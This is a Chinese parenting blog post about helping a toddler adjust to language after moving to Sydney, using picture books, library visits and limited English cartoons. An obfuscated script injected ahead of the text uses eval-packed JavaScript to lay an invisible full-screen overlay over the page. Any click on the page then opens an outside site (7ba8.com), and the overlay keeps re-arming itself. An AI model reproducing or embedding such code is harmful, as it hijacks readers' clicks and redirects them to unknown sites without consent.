<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>这个题目有点多余哈,既然没必要担心,写点儿啥呢?进来看你就知道了!很多妈妈在后台留言,问我小朋友在新的环境适应得好吗,尤其是语言方面。我的回答大多是:无需担心。其实这真的是我最不担心的方面。适应一种新事物,小朋友总是比大人要适应得好,其中道理大家自然明白:他们如一张白纸,接受能力强。可是万事,总是有所准备,比没有准备要来得更好,对吧?今天Tracy就分享一下自己的一些经历,其实很多都是自然的举动,而没有太过于刻意。大家放宽心一些,要相信很多事情都是水到渠成的。
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语言学习之利器:绘本
在来悉尼之前,我家小妞就已经表现出对绘本的强烈爱好,于是我就满世界搜寻好的绘本给小妞。一开始是中文的绘本,后来发现小妞和我都更喜欢国外的绘本,有很多如《小青蛙弗洛格》系列,都是国外绘本翻译成中文的。这些翻译过来的国外绘本看得差不多了,我又开始找一些简单的英文绘本,当时倒也不是为了学习英语(那么小的孩子能学多少英语?),只是因为我自己有点厌倦翻译的绘本,想看一些英文原著的。这个阶段,不管是中文绘本还是英文绘本,对她的语言能力提升都有很大的帮助。小妞在两岁就能简单地复述绘本的内容,当然了她不认识字,更不是一字不差地背出来,完全是按照图画凭记忆简单描述故事。
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到悉尼之后,办了借书证,小妞非常喜欢图书馆,每周都要求带她去图书馆借书还书。虽然图书馆里也有中文的绘本,但是英文绘本资源真的是太丰富了!小妞每次都在书架前流连忘返,挑了又挑,抱着一大堆书满意地回家。
给小妞读英文绘本,开始的几次我都会一句英文一句中文对照着念,让她有个基本的了解。故事了解后,我就会只读英文。可是有的时候发现她在念英文的时候她明显走神,我就会缓一缓,再念一下中文。其实不在乎她学会多少的英语,但是对她是个磨耳朵的过程。
让家长偷一下懒:动画片
对于电视,我是持很“极端”的态度的。在两岁之前,我一点电视都不让孩子看,去年开始,小妞两岁半左右吧,每天会给她看20分钟左右的动画片。是我经过筛选的英语的动画片。我想着,反正不可能完全禁止孩子看动画片,就只能引导她看,并且看点儿英语的,说不定不知不觉中还能学点儿语言。
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动画片的挑选,一定要挑适合他们的年龄的。孩子们很容易被颜色绚丽的动画片吸引,但是有的时候其实TA单纯地只是被图像吸引了,根本看不懂。其实看电视是被动接受信息的过程(这是我持极端态度的主要原因),所以家长必须给孩子把关,挑选合适的。
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